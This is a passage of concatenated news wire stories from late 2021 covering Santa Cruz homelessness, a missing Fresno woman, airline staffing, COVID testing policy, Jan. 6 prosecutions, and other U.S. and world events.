until the storm subsides. Santa Cruz County supplied 100 sleeping bags and pads, cases of water and 500 ready-to-eat meals. "The sheltering operation at the River Street garage will continue until the storm subsides," the city said. "If needed, a temporary, alternate location to the Benchlands will be utilized until the Benchlands is dry enough for the campers to return." Alekz Londos Like many places in California, Santa Cruz is home to a population of people without housing. A census taken in 2019 by the nonprofit Housing Matters found 2,167 homeless people living in Santa Cruz County. The count was conducted on a single day and likely didn't capture the entire population. Shelter space to accommodate everyone without housing is lacking, and countywide, there are 617 beds available through shelters, transitional housing as well as COVID Project Roomkey hotels supported by funding from the Federal Emergency Management Agency. Of those beds, 375 are in the city of Santa Cruz. "The city is standing up some temporary transitional camps to try to meet the need, given that there are far more unhoused individuals than shelter beds available," the city said in a statement. "The city currently has one of the highest per capita rates of homelessness in the state." Phil Kramer, CEO of Housing Matters, which helps people find permanent housing in Santa Cruz County, said the region has made strides and his organization housed 300 people last year but it's not enough. "Were not keeping up with the need," Kramer said. "More people are becoming unhoused than we are able to house in any given time. Its dismaying for the community. It doesnt feel like we're housing more people to the community ... when you're visiting the Benchlands where people are camping and tragically flooded out of their sleeping situation." Alekz Londos Londos has lived in Santa Cruz for 32 years and said he has seen the unhoused population grow. To help individuals in need of shelter, he started building "micro tiny homes." "Ive seen the situation get worse over the years and I see why," he said. "Its a big problem. I think it has to do with the divide between the rich and the poor, trickle-down economics dont work. There are drug addiction problems. We dont have enough mental health services." Nearly two weeks after running a routine errand at Costco, Fresno woman Samantha Tomlinson is still missing, prompting her worried family to speak to the media in the hopes of raising awareness for the case. On Dec. 3, the 37-year-old told her roommate she was driving out to the Fresno Costco at 7100 North Abby St. to return a purchased item. According to a Fresno police spokesperson, Tomlinson first made a stop to sell a weight set to someone she met on OfferUp, an app that facilitates sales from person to person. Police say that interaction, captured on CCTV, occurred without issue, and Tomlinson then drove to Costco around midday. Store surveillance footage shows her arriving and leaving from the parking lot in her 2002 silver Honda Civic, apparently without incident. When she failed to return home the next day, however, her concerned roommate called police to report Tomlinson missing. Police told Dateline that Tomlinsons phone, credit cards and bank account havent been touched since Dec. 3. Were hoping for the best, Fresno Police Department Lt. Jon Papaleo told Dateline on Monday. Somebody out there could have seen her, or her car, in the past week or so. And that could be the missing puzzle piece we need. In March 2020, Tomlinson was featured by ABCs Localish program as a K-9 handler for the Fresno County Department of Agriculture. In the video, she shows how a dog sniffs out illegal plant material that could spread disease or pests in California. Tomlinsons mother, Christie Tomlinson, told Dateline her daughter loves animals and the outdoors, and it was extremely unusual for her not to return home to care for her German shepherd Atlas. Because of her familiarity with the outdoors, multiple agencies, including rangers from the U.S. Forest Service, have been alerted to be on the lookout in some of Tomlinsons favorite hiking spots, such as Sequoia National Park and Sierra National Forest. "She tends to go up when things are bothering her. She likes her space," her father, Robert Tomlinson, told FOX26. "She likes the mountains, but she usually takes her dog with her. She loves the outdoors and she loves animals. That's where we think she might be. But indications are that maybe she's not." Tomlinson is 5-foot-5 and 130 pounds with black hair and blue eyes. She has a number of tattoos, including one of a black paw print and purple flowers on her left elbow and the words Be Free accompanied by blackbirds on her right forearm. She is believed to be driving a silver Honda Civic with the license plate 6YQB398, which has also not been located. Anyone with information about Tomlinson is asked to call the Fresno Police Department at 559-621-7000. WASHINGTON (AP) Airlines are having trouble hiring pilots, flight attendants and other personnel, and that's part of what is causing canceled flights and scrapping of service to some airports, executives told legislators on Wednesday. American Airlines CEO Doug Parker said a large service outage in October began when high winds shut down three of five runways at Dallas-Fort Worth International Airport, the airline's largest hub. American, he said, ended up with jets and people in the wrong places, and had a hard time getting workers to pick up extra shifts to handle the problem. Although workers are doing a great job during the pandemic, they are reluctant to take extra shifts due to the risk of the novel coronavirus and unruly passengers, he said. We need people to want to pick pick up additional shifts, Parker told the Senate Commerce, Science and Transportation Committee. Parker said there are enough pilots and staff to run the airline under normal circumstances, but not with surprise weather events. United Airlines CEO Scott Kirby said they have to make sure they don't schedule too many flights for the available resources. He said people who want to be pilots have to spend $150,000 to get the required training, which typically is not covered by federal student loans. Kirby, Parker and leaders of Southwest and Delta all said they're taking steps to train more pilots. Under questioning, John Laughter, chief operating officer of Delta Air Lines, said Delta has had to end some flights due to a shortage of pilots for regional jets that serve less-populated areas. He sees recovery coming next year. Southwest CEO Gary Kelly said federal mask requirements for airline passengers dont add much if anything because most planes have HEPA air filters and turn over the cabin air. They spoke during a hearing on airlines getting $54 billion in aid from taxpayers to keep employees on the payroll during the pandemic. All said the money saved jobs and businesses and made it possible to recover quickly once air travel rebounded. This article, Google reportedly says employees defying vaccine policy will lose their jobs, originally appeared on CNET.com. Google has told its employees they will lose pay and eventually be fired if they don't comply with the company's COVID-19 vaccination rules, CNBC reported Tuesday, citing internal documents. Google's leadership told employees in a memo that they had until Dec. 3 to either declare their vaccination status and upload documentation showing proof, or to apply for a medical or religious exemption, according to the report. Google said that after that date, it would start contacting employees who hadn't provided proof of vaccination or were unvaccinated, as well as those whose exemption requests weren't approved, CNBC reported. The memo said employees who haven't complied with the vaccination rules by the Jan. 18 deadline will be placed on "paid administrative leave" for 30 days, followed by an "unpaid personal leave" for up to six months and eventual termination, CNBC reported. When contacted for comment, Google didn't address the memo but said the company's policy is designed to protect its employees and the company. "Our vaccination requirements are one of the most important ways we can keep our workforce safe and keep our services running," a Google spokesperson said. "We're committed to doing everything possible to help our employees who can get vaccinated do so and firmly stand behind our vaccination policy." Google's return-to-office policies have caused major tension among the tech giant's employees. Google CEO Sundar Pichai announced in July that the company would require vaccinations for those returning to offices. But the company puts its return-to-office plans on hold earlier this month amid concerns of increased infection rates due to the omicron variant. The company has also unveiled plans that would require most employees to work from their offices at least three days a week. Under the new structure, 20% of the company would work remotely. Another 20% could work from new locations. The other 60% would continue working from their normal office. The company has also faced blowback from employees who are upset at potential pay cuts for moving to smaller markets. PARIS (AP) Harrys Bar in Paris is celebrating the 100th birthday of the bloody mary, the vodka-tomato juice cocktail believed to have been invented at the iconic watering hole in 1921. The centenary events this week bring a welcome respite from winter gloom and worries about the omicron variant of the coronavirus. The bar is carefully checking COVID-19 health passes as foreign visitors gather to sample the drink closely associated with Harry's Bar, whose patrons over the past century have included writers Ernest Hemingway and F. Scott Fitzgerald. According to the history of Harry's, bartender Fernand Petiot invented the cocktail, and the recipe was first published in a book called Harry's ABC of Cocktails" in 1921. The bar serves an estimated 12,000 bloody marys a year. Its a classic drink, bartender Dante Agnelli said while demonstrating the mixology behind the drink, ingredient by ingredient: salt and pepper, Tabasco sauce, Worcestershire sauce, lemon juice, vodka and tomato juice. You make it directly in the glass, Agnelli said as he stood at the counter where Petiot first performed the now well-established ritual 100 years ago, at the dawn of what became known as the roaring 1920s. Harry's Bar plans to host a celebration on Thursday night despite concerns about the spread of omicron variant of the coronavirus in Europe and a surge in new virus infections across France. Franz-Arthur MacElhone, a great-grandson of bar founder Harry MacElhone, said the celebration would take place in line with government regulations: the health passes of patrons from around the world will be checked, hand sanitizers will be distributed, and bar staff will wear masks. In recent days, the French government expanded the places where passes are required, including all restaurants and a growing number of events and venues. To get one, people must show proof of full vaccination, a negative virus test less than 24 hours old, or recent recovery from COVID-19. The French government closed nightclubs and tightened social distancing measures but is trying to avoid a new lockdown. The health protocol is the only visible change inside the bar that used to be located on New Yorks 7th Avenue before it was dismantled, shipped to Europe and rebuilt in central Paris in 1911. For Harrys patrons, the timeless decor is a reassuring fixture, particularly at a time of uncertainty due to the pandemic. Once you walk in, you leave all your worries aside, said Ihab Hassan, 61, a retired businessman from Egypt and a regular at the bar since the 1970s. The coronavirus pandemic was not enough to get in the way of his favorite Paris pastime, Hassan said with a bloody mary on the counter in front of him. Sitting next to Hassan were an American, Jay Sing, and an Australian, Renee DiGeorgio. They shared their thoughts on the famous cocktail with an Associated Press reporter, acknowledging they had already consumed a few. Sometimes, with breakfast, for my hangover, we drink bloody marys, said DiGeorgio, 42, who works in the mining industry and is based in the Democratic Republic of Congo. This is a really nice bloody mary, he said. Its actually the first time Ive ever drunk a bloody mary when the suns down! All three men said they took the necessary health precautions to be safe and in compliance with government anti-virus regulations. I have four vaccines in me, said Sing, 28, a tech industry worker from New York. Im like the Iron Man. Nothing is touching me! MacElhone, the great-grandson of the bar's founder, recounted different legends surrounding how the bloody mary got its name. Petiot said it was for a dancer that he was very fond of called Mary, MacElhone explained. She used to work in a place in Chicago called the Bucket of Blood, MacElhone said. But thats only one explanation for the name of the famous drink. There are others, MacElhone said. Theres a Hemingway story, he said. It was just before he got married, and he had been dating somebody called Mary. As that story goes, Hemingway allegedly did not want to have alcohol on his breath and asked for a drink mixed with juice. Tomato juice was added, and while he was drinking it, he was saying bloody Mary, MacElhone said. For the last 18 months the Golden Gate Bridge has been emitting an unearthly noise that has been described by local residents as everything from "screeching that sounds like torture" to "eerie" to "making music." The San Francisco icon's singing days may soon be over, as the bridge district announced this week a planned $450,000 fix. After consulting with engineers and aerodynamic experts, the Building and Operating Committee has recommended that the Board of Directors approve the installation of "1/16-inch thick tapered U-shape aluminum clips" along each of 12,000 slats on the retrofitted, ocean-facing western railing of the bridge. That railing's thinner uprights were installed to "increase transparency" of the bridge facing the winds that blow in from the Pacific, replacing previous wider slats. The report says that if wind-facing railings are too solid, the result can be aerodynamic instability in extreme wind events. It cites the Tacoma Bridge disaster as a catastrophic example of this phenomenon. While making the bridge safer, it's those thinner slats that "began emanating wind-induced sounds," the report says. After extensive testing, part of which occurred in a wind tunnel in a warehouse in Ontario, the new clips with rubber-dampening materials are expected to result in a 50 to 75% reduction in noise while not diminishing safety or aesthetics the new clips will be painted International Orange. In the summer of 2020, the noise first started alarming residents and tourists alike. Tweets with videos capturing the eerie humming all the way from the Presidio to the Marin Headlands went viral, as one of the most photographed things in America started to sing. The humming can be heard clearly in this tweet from last June, showing a video from the bridge itself: At the time, bridge spokesman Paolo Cosulich-Schwartz told KQED that the noise was not unexpected. As part of the design process, the District did extensive studies on the impacts of the project, including wind tunnel testing of a scale model of the Golden Gate Bridge under high winds ... The new musical tones coming from the bridge are a known and inevitable phenomenon." Cosulich-Schwartz said. They also suggested that some found the sound to be "meditative and angelic." But after receiving dozens of complaints, the Golden Gate Bridge District announced in July 2020 it would be studying the noise in the hope of finding a way to muffle it, resulting in this week's announcement. The proposal will be presented to the Board of Directors at a meeting on Dec. 17. If approved, the project is expected to be completed by the end of 2022. CAMDEN, N.J. (AP) Three former pharmaceutical sales representatives and a school guidance counselor have become the latest people to be sentenced to prison for their roles in a multimillion-dollar health care fraud scheme involving expensive compound medications. The U.S. attorney's office announced Wednesday the sentencings of Michael Pilate, 43, of Williamstown; Tara LaMonaca, 47, of Linwood; George Gavras, 40, of Moorestown and 43-year-old Andrew Gerstel of Galloway. More than two dozen people have pleaded guilty in a long-running investigation of a conspiracy involving state and local government employees in New Jersey and a pharmacy in Louisiana. According to the U.S. attorney's office in Newark, the scheme exploited the fact that some of the employees had insurance that covered expensive compound medications such as pain, scar, antifungal and libido creams. Reimbursements ran as high as thousands of dollars for a one-month supply. Conspirators recruited employees like teachers, police and firefighters to submit claims for prescriptions, based solely on the amount of money the insurance company would pay for them. The prescriptions were signed by doctors who never saw the patients, and were filled by the pharmacy, which billed a state pharmacy benefits administrator in New Jersey. The Louisiana pharmacy gave the conspirators a percentage of each prescription filled and paid for by the New Jersey benefits administrator. The U.S. attorney's office estimated the state benefits administrator paid the pharmacy a total of about $50 million over the course of the scam. Pilate, formerly a guidance counselor with the Pleasantville school district, was sentenced to 18 months in prison on Wednesday by U.S. District Judge Robert Kugler; LaMonaca, a former pharmaceutical sales representative, received an eight-month sentence. Gavras received a 13-month sentence Tuesday and Gerstel was sentenced to 12 months. Both worked as pharmaceutical sales representatives. All four had previously pleaded guilty to conspiracy to commit health fraud. As part of their plea agreements, they were ordered to forfeit criminal proceeds and pay restitution of as much as $3.49 million, in Pilates case. Hayley Taff, CEO of Louisiana-based Central Rexall Drugs, pleaded guilty last year and is scheduled to be sentenced in April. WASHINGTON (AP) The Biden administrations plan for health insurers to reimburse consumers for over-the-counter COVID-19 tests echoes a bygone era when the companies processed large volumes of claims from individuals with paper receipts. Its unclear if the buy-first, get-paid-later approach will spur people to go out and get the tests, even with new urgency around the highly transmissible omicron variant. It's not likely to yield the same level of accessibility that people in other countries have, said Cynthia Cox of the nonpartisan Kaiser Family Foundation. Cox, who tracks the U.S. health system in comparison to other advanced countries, points out that consumers in the United Kingdom can pick up free rapid tests at the pharmacy or have them delivered to their homes. I think we are still going to have testing problems next year, added Cox. People will still have problems accessing affordable tests in a timely manner. Omicron is not the only reason testing is taking on renewed importance. Anticipated approval of antiviral pills that COVID-19 patients can take at home is also expected to increase demand for fast tests that can provide reliable results. Officials have yet to provide operational details of the Biden plan, with formal guidance due Jan. 15. But the administration is confident it can overcome problems that have bedeviled U.S. testing from the start of the coronavirus pandemic. According to a White House fact sheet, health insurance companies will become the cornerstone of testing for more than 150 million people with private coverage. Insurers would reimburse for rapid tests that deliver results in as little as 15 minutes. Although available over the counter, they can be hard to find. Coronavirus response coordinator Jeff Zients says the administration has quadrupled the supply of at-home tests, while creating a streamlined process to get new options to market. The government is scaling up free testing at pharmacies and community venues as well. Our goal is to give free tests to everyone who wants one in the most efficient and effective way possible, Zients said recently. There is enough testing capacity in this country, and were confident that as more tests come to market ... innovation will continue and prices will come down. Estimated prices for at-homes tests in the U.S. now range from about $15 to $30, compared with about $1 in Germany. Without voicing outright opposition, health insurance companies have been cool to the idea. The largest trade group, America's Health Insurance Plans, has expressed concerns about price gouging for over-the-counter tests and higher premiums for consumers. The Blue Cross Blue Shield Association has called for commonsense implementation." There's a sense that the industry is being handed a new kind of mission. Health insurance normally covers medically necessary services and procedures, but would COVID-19 testing for a long-desired family reunion meet that threshold? And with the automation of insurance billing, companies say they'll have to bring on new staff to handle the volume of claims for over-the-counter COVID-19 tests even if consumers upload their paper receipts. The White House hasn't said how insurers are supposed to cover the cost. Health and Human Services Secretary Xavier Becerra says it's in the self-interest of insurers to try to keep their plan members healthy. We are going to make sure that the American people have access to tests and they dont have to pay out of pocket, said Becerra. We're hoping that it will be done in a way that is a smooth as possible, and everyone understands that it's in their best interest. Some public health experts are concerned the administration may be off course. If what we get is that everybody has to buy tests and submit paperwork for reimbursement and then get a refund, that is going to result in many people not getting tested because there are too many barriers in the way, said Dr. Leana Wen, a former Baltimore health commissioner and commentator on the pandemic. She would like every household to get a packet of rapid tests sufficient to test all members twice a week. While the highly contagious omicron variant has got the world's attention right now, there's an entirely different reason emerging for the U.S. to ramp up rapid testing. Federal health regulators are expected to soon authorize two promising antiviral pills for COVID-19, the first that patients could take at home to head off the worst consequences of the disease. Current treatments require an infusion or injection at a hospital or clinic. The new pills are most effective when given early within three to five days of first symptoms. Patients will likely be required to provide a positive COVID-19 test before they can get a prescription. That narrow window is expected to generate even more demand for at-home tests. Dr. Michael Mina, chief science officer for eMed, said the government has to step back and rethink its testing strategy. Mina recently left a teaching post at Harvard to join the company, which is vying to set the standard for verified at-home rapid COVID testing. The Biden administration should open up the country to cheaper rapid tests from overseas, said Mina, set clear guidelines about what kinds of tests should be used under varying circumstances, and encourage the adoption of authentication systems for rapid tests. The decision to tell insurers to reimburse all tests, I think, doesn't make sense, said Mina, arguing that COVID testing is primarily a public health tool. The insurance companies should be asked to pay when testing is used for a medical reason, but everybody should get allocated a certain amount of tests from the government, he said. If we dont have a testing strategy, then we literally dont see the virus when it spreads. ___ Associated Press Health and Science Writer Matthew Perrone contributed. SEAFORD, Del. (AP) A small Delaware city passed an abortion ordinance Tuesday that the states attorney general has called unconstitutional. The Seaford City Council voted 3-2 in favor of the measure that requires the burial or cremation of fetal remains from any abortion performed in the city, The News Journal reported. Critics argue the ordinance creates extra barriers to abortion services, but supporters say its about the dignified disposal of remains. Nicole Theis, president of Delaware Family Policy Council and a Seaford resident, argued that the ordinance is narrow and doesnt impede a persons right to an abortion. These are human remains that deserve the dignity to be handled properly, and were just giving people the option to do that, Theis said. But ACLU of Delaware Executive Director Mike Brickner said a lawsuit is likely in the city's future. We want to send a very clear message to other communities that might be considering similar types of legislation that they will also be met with significant public pushback, and also with potential court challenges, Brickner said. That we in the state of Delaware guaranteed a persons right to access an abortion thats part of our state law, and that cities cannot go against the fundamental rights that the state has guaranteed. The measure was introduced in September amid preparations for the opening of the areas first Planned Parenthood clinic in Seaford. It was tabled in October after the state Department of Justice asked the council to wait until the state office could determine whether this ordinance is consistent with federal and state law. In a letter submitted Tuesday afternoon, Attorney General Kathleen Jennings said state law would preempt the ordinance and it was fatally subject to injunction because it is unconstitutional. Councilman James King, one of two members who voted against the ordinance, argued that the issue should be taken up in the General Assembly, not at the city level where the municipality will be responsible for absorbing the costs of future litigation. ANCHORAGE, Alaska (AP) The mayor of Alaskas largest city told officials last October to stop fluoridating the municipal water supply, only to reverse himself five hours later when informed that fluoridation was required under city code. Mayor Dave Bronson stopped fluoridation on Oct. 1 while visiting the Anchorage Water and Wastewater Utilitys Eklutna water treatment plant, Alaska Public Media reported on Tuesday. A statement from Bronson's office confirming the stoppage came three days after the Alaska Landmine blog, citing unnamed sources, first reported Bronsons directive. The statement emailed by Bronsons spokesperson, Corey Allen Young, said Bronson ordered the fluoride turned off after staff at the facility complained that it was harming them. According to the statement, the fluoride burned the eyes and throats of staff who handled it. The U.S. government urged cities to add fluoride to water supplies to prevent tooth decay more than 50 years ago. Now, fluoride is put in toothpaste, mouthwash and other products as well. Young did not directly answer an email from The Associated Press on Wednesday asking what training and safety equipment workers at the plant use when working with fluoride or if untrained workers handle fluoride. The mayor's statement sent Tuesday said Bronson was told by utility staff that turning off the fluoride was not against city rules. Bronson decided to stop fluoridation and said he would investigate workers concerns, the statement said. Young later clarified in a phone call to Alaska Public Media that the utilitys manager, Mark Corsentino, asked Bronson to have the fluoride turned off. Bronsons office later that day determined municipal code required fluoridation and told the utility to resume putting fluoride in the municipalitys water. In the statement, Bronsons office said the fluoridation was stopped for about five hours. The Anchorage Assembly, which has been at odds with the Bronson administration since he took office earlier this year, is investigating. We have now begun the fact-finding process and I share the Mayors desire to investigate these concerns, Chris Constant, the Assembly vice chair, said in a written statement. BEND, Ore. (AP) A Bend Police officer charged with assaulting a man while on duty has pleaded not guilty. Kevin Uballez, 38, appeared by video Tuesday in Deschutes County Circuit Court, where he entered pleas of not guilty and was given future court dates, The Bulletin reported. Uballez now has an address in southwest Portland listed with the court. He has been on paid leave since October, when he was charged with harassment and fourth-degree assault, both misdemeanors. A call and email from the newspaper to Uballezs attorney, Steven L. Myers, were not returned. Prosecutors said that in June, while attempting to take Caleb Hamlin into custody, Uballez slammed him into the ground. Hamlin, 42, of Colville, has filed a notice of intent to sue the city of Bend. Before police contacted Hamlin, he was beaten by high school students who filmed their attack, Deschutes County District Attorney John Hummel said Tuesday. Uballezs alleged actions were reported to supervisors by two other officers. Uballez was hired by Bend Police in 2014. Criminal charges against employees also result in an internal affairs investigation and employment actions including termination are based on internal affairs cases, according to spokeswoman Lt. Juli McConkey. KUALA LUMPUR, Malaysia (AP) U.S. Secretary of State Antony Blinken says the Biden administration is weighing tough new sanctions on Myanmar to pressure the countrys military leaders to restore a democratic path interrupted by a February coup. Blinken said the situation in Myanmar in the 10 months since the coup had gotten worse" with mass arrests and violence against protesters. And he said the administration is also looking very actively at designating ongoing repression against Myanmars Rohingya Muslim population as a genocide. I think its going to be very important in the weeks and months ahead to look at what additional steps and measures we can take individually, collectively to pressure the regime to put the country back on a democratic trajectory, Blinken said. Blinken made the comments on Wednesday in Malaysia, where he is on the second leg of a three-nation trip to Southeast Asia. His Malaysian counterpart said the Association of Southeast Asian Nations must also act, saying the regional grouping must do some soul-searching about its policy toward member Myanmar. The long and short of it is we have to look at what additional steps, measures could be taken to move things in a better direction and thats something that were looking at," Blinken told reporters at a news conference with Malaysian Foreign Minister Saifuddin Abdullah. Blinken was asked specifically about potential sanctions on Myanmar's state-run oil and gas sector but did not mention the possibility in his response. He did, however, address the possibility of a genocide determination. We continue also to look actively at determinations of what are the actions taken in Myanmar and whether they constitute genocide and thats something were looking at very actively right now, Blinken said. He repeated demands for the Myanmar junta to release all of those who had been unjustly detained," including democracy leader Aung San Suu Kyi, allow unhindered humanitarian access to areas in need of assistance, end violence against protesters and restore Myanmar to its democratic path." In response to the same question, Abdullah said Malaysia believes that ASEAN must adopt a more coherent position when it comes to Myanmar. The 10-nation group has long hewed to a policy of non-interference in its members' internal affairs and often resisted taking action against them. I understand that we celebrate the principles of non-interference, but...ASEAN should also look at the principle of non-indifference because what happens in Myanmar is already getting out of Myanmar, he said, noting that Malaysia is now hosting nearly 200,000 Rohingya refugees. We have to do some soul-searching, he said, expressing hope that an ASEAN foreign ministers meeting in January would be able to clarify the group's position on Myanmar and lay out clear demands and milestones for the country's military to meet along with a specific timeline for completing them. BOSTON (AP) Boston's mayor has announced a plan to move people living in a homeless camp off the streets and into housing by Jan. 12. Mayor Michelle Wu said Wednesday that residents of the encampment will be connected with services and housing before the tents are removed from the site. PENN HILLS, Pa. (AP) Authorities in western Pennsylvania say a 13-year-old boy is being charged with homicide in the shooting death of a 5-year-old boy last month, but the case will be transferred to juvenile court to allow a judge to determine supervision and treatment" of the youth. Allegheny County police say Penn Hills officers were called to a home just after 5:30 p.m. on Nov. 22. and found the 5-year-old boy with a single gunshot wound. He was pronounced dead at a hospital. Jose M. Osorio/AP CHICAGO (AP) The Chicago Council on Wednesday voted to pay nearly $3 million to a woman who was handcuffed while naked by police officers during a 2019 raid of her home. The unanimous vote to pay Anjanette Young $2.9 million was widely expected, coming two days after a council committee voted to recommend that the full council accept the settlement and after the city's law department said Young's attorney had agreed to the amount. JERUSALEM (AP) A spokesman for Christian churches in the Holy Land on Wednesday accused Israel of discriminating against Christian tourists during the normally busy Christmas holiday season. Israel last month closed its borders to foreign tourists in response to the outbreak of the omicron coronavirus variant. But this week, Israeli officials decided to make an exception for Birthright, a popular program that provides free trips to Israel to young Jews from around the world. Groups from the United States are expected to arrive next week, with participants all fully vaccinated and remaining in small capsules. For now, restrictions remain in effect for other foreign tourists, including Christian pilgrims who traditionally have flocked to sites like Jerusalem, Nazareth and Bethlehem, the biblical town in the occupied West Bank revered by Christians as the birthplace of Jesus. Wadie Abunassar, a spokesman and adviser to churches in the Holy Land, said various denominations were upset over the selective treatment and he accused Israel of discriminating against Christian pilgrims. Racist discrimination should never be accepted in any way! he wrote on Facebook. I urge the Israeli authorities to treat all those who want to visit the country equally without any discrimination between religion." An official with the Catholic Church said church officials were shocked and angry by the Israeli decision. He said the church, along with other denominations, have appealed to Israel's Tourism Ministry to allow Christian pilgrims to come for the holiday. The official spoke on condition of anonymity because he was not authorized to speak to the media. Israel's Interior Ministry, which oversees entrance policies at the country's borders, said the policy remains not to allow foreigners into Israel. But it said a number of exceptions have been made, including a specific decision for the Birthright program. It said officials would be discussing the possibility of other exceptions in the near future, but gave no further details. The travel ban has crushed the tourism industry in Israel, and officials in Bethlehem, whose economy relies heavily on Christmas visitors, say the restrictions have ruined the holiday season for a second straight year. The West Bank does not have its own airport and most foreign visitors enter from Israel. HENDERSONVILLE, N.C. (AP) Three sections of Interstate 26 in North Carolina will be closed three different nights this week, transportation officials said. Traffic will detoured off the interstate and onto local routes with longer green lights, the N.C. Department of Transportation said in a news release. No sections will close before 8 p.m., and all sections of I-26 will reopen by 6 a.m. the following day. DENVER (AP) A man from Colorado and another from Florida who are accused of assaulting police officers in separate incidents during the Jan. 6. riot at the U.S. Capitol were being held in federal custody Wednesday. Mason Joel Courson, 26, of Tamarac, Florida, was arrested Tuesday in Florida and appeared in federal court Wednesday, the U.S. Attorney's Office for the District of Columbia said. Courson is accused of being part of a group that was armed with a baton, flagpole and a crutch that assaulted a Metropolitan Police officer, the office said. Earlier in the day, he allegedly participated in heave-ho" efforts to get into the Capitol, the office said. Courson's lawyer, Jason Kreiss, said he could not comment on the allegations because he has not seen the evidence in the case yet. Meanwhile, Avery Carter MacCracken, 68, of Telluride, Colorado, who is accused of punching a Metropolitan Police officer in the face, remained detained following his arrest on Saturday near the ski resort town. He was identified as a suspect being sought by the FBI in the riot by a resident and authorities there. According to court documents released Tuesday, the officer was part of a line of officers protecting the state Capitol. MacCracken is also accused of pushing and shoving a second officer in the line. Authorities in Telluride told investigators that MacCracken has been a resident for years, sometimes living out of his car, according to his arrest affidavit. San Miguel County Sheriff Bill Masters and town Chief Marshal Josh Comte reported seeing MacCracken in Telluride wearing the same clothes shown in images from the Capitol, according to the affidavit. MacCracken appeared in federal court in Grand Junction Tuesday. He will continue to be detained at least until another hearing scheduled for Friday. He is represented by a lawyer from the Denver federal public defender's office, which does not comment on cases. Meanwhile, two men who allegedly assaulted officers, Donald Hazard, 43, of Hurst, Texas, and Lucas Denney, 44, of Mansfield, Texas, during the riot were arrested Monday. Footage shows Hazard grappling with U.S. Capitol Police officers, falling down a set of stairs under scaffolding on the west side of the Capitol and fighting with one officer as they were both falling, the U.S. Attorneys Office said. Denney is accused of grabbing and shoving a police officer and attempting to grab a canister of crowd-control spray from another officer before swinging a long metal pole at him, the office said. Denney is also accused of a participating in heave-ho efforts to advance into the building while carrying what appeared to be a baton or stick in the same location and around the same time as Courson is accused of doing, according to prosecutors. A telephone message and an email sent to Hazard's lawyer was not immediately returned. No lawyer was listed as representing Denney in court records. WASHINGTON (AP) The Capitol Police Chief is poised to gain new authority to call National Guard troops to the Capitol under legislation that passed the House and Senate this week. The bipartisan bill, which cleared both chambers by voice vote, now heads to President Joe Bidens desk. It comes as a response to the Jan. 6 insurrection, when the then-Capitol Police chief pleaded with security officials and the Pentagon to call troops for assistance. Troops didnt arrive on the scene for several hours, during which time a violent mob of former President Donald Trumps supporters brutally beat police and broke into the building. The legislation would allow the chief to request District of Columbia National Guard troops or federal law enforcement agencies in certain emergencies without prior approval of the Capitol Police Board, a secretive three-member panel of security officials that oversees the law enforcement agency. Jan. 6th showed us that every minute counts during an emergency, said Minnesota Sen. Amy Klobuchar, the chairwoman of the Rules panel and lead author of the legislation. The bill would also require the board, which meets privately, to appear publicly at joint House and Senate hearings. The Capitol Police Board hasnt met in a bicameral hearing since 1945, according to the Senate Rules Committee. The mob of Trumps supporters swiftly and violently overran the Capitol Police, which was assisted by D.C.s Metropolitan Police Department, on Jan. 6 and interrupted the certification of President Joe Bidens victory. Lawmakers ran for their lives as the rioters climbed through broken windows and doors. A Senate investigation of the security failures, released in June, recounted how the Guard was delayed for hours as officials in multiple agencies took bureaucratic steps to release the troops. It detailed hours of calls between officials in the Capitol and the Pentagon as the then-chief of the Capitol Police, Steven Sund, begged for help. It found that the Pentagon spent hours mission planning and seeking multiple layers of approvals as Capitol Police were being overwhelmed. The report was heavily critical of the board, finding that three of its members on Jan. 6 did not understand their own authority and could not detail the statutory requirements for requesting National Guard assistance. Two of the three board members, the House and Senate sergeants-at-arms, were pushed out in the days after the attack. Sund, the Capitol Police chief, resigned under pressure. Current Capitol Police Chief Tom Manger was sworn in in July. Missouri Sen. Roy Blunt, the top Republican on the Rules panel, said he has long been concerned that the structure of the police board has created unnecessary delays. This bipartisan bill addresses a major security challenge that was evident on January 6th, and is part of our ongoing effort to strengthen Capitol security moving forward, Blunt said. Blunt said the Capitol building and staff are safer than they were a year ago. But he added there is more to be done. I think because of peoples view of whats possible in terms of Capitol security, were safer. But I think were behind in implementing the things the Capitol Police budget already appropriated money for, as well as dealing with the big challenge of just having enough officers to do the job. This issue is not unique to us. Every police force in America is looking for more officers to get on their team, Blunt said about the nearly 200 officers who have left the force since Jan. 6 ___ Associated Press writer Farnoush Amiri contributed to this report. TALLAHASSEE, Fla. (AP) Calling critical race theory crap, Republican Florida Gov. Ron DeSantis said Wednesday he'll push for legislation to ban teaching the concept in schools and to allow private corporate employees to sue their employers if they receive critical race theory training. In a strongly worded speech at a campaign-style event, DeSantis told a packed room of supporters in Wildwood that he won't allow backers of critical race theory to erase U.S. history. He was interrupted several times by loud applause and cheers. "Nobody wants this crap, OK? This is an elite driven phenomenon being driven by bureaucratic elites, elites in universities and elites in corporate America and theyre trying to shove it down the throats of the American people. Youre not doing that in the state of Florida, DeSantis said. DeSantis, who is up for re-election next year and is considered a potential 2024 presidential candidate, is continuing a message brought into the mainstream last year by then President Donald Trump. Critical race theory is a way of thinking about Americas history through the lens of racism. It was developed during the 1970s and 1980s in response to what scholars viewed as a lack of racial progress following the civil rights legislation of the 1960s. It centers on the idea that racism is systemic in the nations institutions and that they function to maintain the dominance of white people in society. Conservatives reject it, saying it is a world view derived from Marxism that divides society by defining people as oppressors and oppressed based on their race. They call it an attempt to rewrite American history and make white people believe they are inherently racist. DeSantis is calling his proposal the Stop WOKE (Wrongs to Our Kids and Employees) Act. What you see now with the rise of this woke ideology is an attempt to really delegitimize our history and to delegitimize our institutions and I view the wokeness as a form of cultural Marxism, DeSantis said. "They really want to tear at the fabric of our society. Democratic Sen. Shevrin Jones said the DeSantis is creating a problem where none exists to score political points with his base, and that critical race theory hasn't been taught in Florida schools. He also points out that woke is a term that African Americans have used for years to describe being aware of racist polices. "The fact that the governor wants to travel the state and use this as his new tour message is disingenuous to Black people," said Jones, who is Black. At the direction of DeSantis, the state board of education banned critical race theory in schools. The legislation would put that ban into state law and allow parents to sue school districts that teach it. No taxpayer dollars should be used to teach our kids to hate our country and to hate each other," DeSantis said. Similarly, private employees under the legislation that's being prepared could sue their employers if they are subject to a hostile work environment due to critical race theory training. But Jones said that the proposal is an effort to ignore racism in the country's past and present. They unfortunate part of all of this is that they are trying to whitewash history while making a statement that children are being taught to hate their skin color ... I call B.S. on that," Jones said. I would never go to my Jewish brothers and sisters and tell them the Holocaust never happened, I would never go the indigenous community to say their land being taken away from them never happened, I would never go try to distort someone's history all for a political field goal. BRUSSELS (AP) As tensions with Russia simmer, European Union leaders met Wednesday with their counterparts from 